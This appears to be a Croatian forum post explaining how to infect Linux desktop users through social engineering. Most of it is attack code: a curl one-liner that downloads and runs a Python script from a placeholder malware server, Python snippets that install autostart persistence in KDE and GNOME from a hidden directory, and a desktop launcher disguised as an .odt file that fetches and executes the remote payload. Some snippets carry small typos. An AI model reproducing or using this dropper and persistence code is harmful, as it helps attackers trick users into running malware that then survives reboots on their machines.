Najveći problem je lakovjernost korisnika.Većmom ih se namami da sami skinu ili pokrenu malciozni program.
Znači , tako dugo dok korisnici otvaraju attachmente samo na temelju ljepog teksta u mailu ili primamljive ponude(većimom ide WOOOOOOOO daj gle fotke i video ove male !!!! ili kaj već).
Na windozama je lakše.Napraviš exe i pošalješ, on ga u svojoj pohlepi i neznaju sam pokrene.
Ok , nije baš nekaj kaj bi se zvalo pravi virus ali ok.
Većina mail programa za linux neće automatski pokrenuti prilog osim ako nije neki od formata dokumenta ili multimedije.Realno Linux korisnici naspram windoze korisnika imaju više tehničkog znanja i znaju kaj rade pa ih i teže navuči na nekaj glupo jer nisu tipične nonetechnic usseri koji vole klikati.Ali i to se mjenja , dosta kompova dolazi sa predinstaliranom nekom od distribucija.Znači napad je moguć , još ako je lijepo zamaskiran..
Dakle kad se kod skine treba se pobrinuti za njegovo pokretanje.Tu uvelike pomaže gnome ili kde sa svojim luncherima pa stoga nije Linux virus već gnome/kde virus.
Naredba za pokretanje lunchera je jedna linija.Recimo kaj s ovime
Kod: Označi sve
% bash -c "curl http://www.neki_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"
još bi trebalo srediti pokretanje kod podizanja.
Znači ~/.config/autostart ili ~/.kde/Autostart
Malware bi trebal saminstalirati svoj luncher.
Za KDE Python skriptica
Kod: Označi sve
mport os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")
za gnome
Kod: Označi sve
mport os
relauncher_str = """
[Desktop Entry]
Type=Application
Name=Malware
Exec=python .local/.hidden/s.py
Icon=system-run
"""
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()
I još bi trebalo srediti desktop luncher pa kaj naprimjer s ovim kodom?
Kod: Označi sve
[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
DROP=~/.local/.hidden ;
mkdir -p $DROP;
if [ -e /usr/bin/wget ] ;
then wget $URL -O $DROP/s.py ;
else curl $URL -o $DROP/s.py ; fi;
python $DROP/s.py'
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png
A sam kod malwera napravit u pythonu?